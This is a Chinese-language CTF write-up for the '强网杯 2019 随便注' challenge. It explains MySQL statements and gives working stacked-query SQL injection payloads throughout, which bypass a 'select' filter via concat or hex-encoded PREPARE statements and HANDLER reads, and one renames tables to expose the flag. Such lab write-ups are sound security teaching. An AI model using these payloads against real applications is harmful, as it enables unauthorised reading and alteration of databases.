[强网杯 2019]随便注 wp
强烈推荐博客:[强网杯 2019]随便注 1【SQL注入】四种解法
这篇博客已经把解题过程讲得很清楚了,本文着重补充扩展知识,目的是帮助自己更好地掌握。解题步骤在最后。
show 语句的用法
推荐博客:MySQL中show语法使用总结
查看所有数据库:
show databases;
查看数据库中所有的表:
show tables from database_name;
查看当前数据库下所有的表:
show tables;
查看表中所有的列:
show columns from database_name.table_name;
如果 database_name 是当前数据库,那么也可以省略。
注意最后一定要带分号。
在本题中,select 关键字被过滤,可以使用 show 语句查询。
DESC 语句的用法
推荐文章:在 MySQL 中使用 DESC 查看一个表的所有的列
在 MySQL 中,DESC
语句用来显示一个表的所有的列的信息。MySQL DESC
语句是 SHOW COLUMNS
的简化形式。
语法:
DESC [database_name.]table_name
在本题中,select 关键字被过滤,查询列名时,DESC
语句和 SHOW COLUMNS
语句都可以用。
sql 语句反引号
推荐博客:
sql 语句中的反引号是为了区分 MySQL 的保留字与普通字符而引入的符号。
例如:
SELECT `select` FROM `test` WHERE select='字段值'
在这里,select 是关键字,使用反引号将其标识为普通字符,如果不使用,会出现语法错误。
此外,当标识符以数字开头时,也需要添加反引号,否则该标识符会被解析为一个数字常量,截断到数字部分,造成语法错误。
例如,表名为 123table 时,如果不加反引号,会被解析为 123 。
在本题中,flag 列所在的表名为 1919810931114514 ,需要添加反引号。
prepare 预编译语句
推荐博客:预编译语句(Prepared Statements)介绍,以MySQL为例
语法:
预编译:
PREPARE name FROM statement;
执行:
EXECUTE name [USING @var_name [, @var_name] ...];
例如:
sql
prepare ins from 'insert into t select ?,?';
set @a=999,@b='hello';
execute ins using @a,@b;
? 作为占位符,@a 和 @b 会填充到问号的位置。
在本题中,prepare 预编译语句用来在最后查看 flag 时绕过 select 的过滤:
一种方式是使用 concat 函数进行字符串拼接:
-1'; prepare a from concat('sel','ect flag from `1919810931114514`');execute a; --+
另一种方法是使用 十六进制编码:
-1';prepare a from 0x73656C65637420666C61672066726F6D20603139313938313039333131313435313460;execute a;#
其中 73656C65637420666C61672066726F6D20603139313938313039333131313435313460 是
select flag from `1919810931114514`
的十六进制编码。
handler 语句操作表
HANDLER 语句是 MySQL 特有的,它不属于 SQL 标准中的一部分。
打开表:
HANDLER table_name OPEN
HANDLER ... READ
语法获取一行:
sql
# 第一种HANDLER ... READ语法获取一行,其中指定的索引满足给定的值并且满足 WHERE条件。
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
# 第二种HANDLER ... READ语法以符合 WHERE条件的索引顺序从表中获取一行。
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
# 第三种HANDLER ... READ语法以符合 WHERE条件的自然行顺序从表中获取一行。
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
关闭表:
sql
HANDLER table_name CLOSE
在本题中,由于 select 被过滤,可以用 handler 语句直接查看 flag 。
-1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close--+
alter 语句修改名称
推荐教程:SQL ALTER TABLE 语句
修改表名:
alter table table_name rename to new_name
修改表中的列名:
alter table table_name change column_name new_name new_data_type
在本题中,通过:
-1';show tables;--+
可以发现当前数据库中只有两个表:words 和 1919810931114514 。
分别查看这两个表的列:
-1';show columns from words;--+
-1';show columns from `1919810931114514`;--+
可以发现 flag 列存在于 1919810931114514
表中,故而默认显示的是 words 表的内容。select 被过滤,无法直接查看 flag 。那么可以通过将 1919810931114514
表的表名修改为 words ,将列名 flag 修改为 words 中存在的列名,那么 flag 就可以直接被查询出来。
-1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
最后通过 1' or 1=1--+
成功查询出来。
这里需要注意的是,输入框中输入的字符会被拼接到 id 查询中,故而 id 字段必须存在,所以这里是将 flag 字段改名为 id 。
解题步骤:
测试注释符,在 nssctf 上用 # 不行,所以我用的是 --+ :
1' or 1=1--+
测试回显位数,两列:
1' group by 2--+
查询数据库,由于点被过滤,暂时无法查询其他数据库中表的列名,故而这一步无用:
-1';show databases;--+
查询当前数据库下的所有表:
-1';show tables;--+
查询 1919810931114514 表中的所有列,两种方法:
-1';show columns from `1919810931114514`;--+
# 或
-1';desc `1919810931114514`; --+
查询 flag ,多种方法:
prepare+concat:
-1'; prepare a from concat('sel','ect flag from `1919810931114514`');execute a; --+
prepare+十六进制编码:
-1';prepare a from 0x73656C65637420666C61672066726F6D20603139313938313039333131313435313460;execute a;#
handler 查询表:
-1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close--+
alter 修改名称:
-1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
最后用 -1' or 1=1--+
查询出所有内容。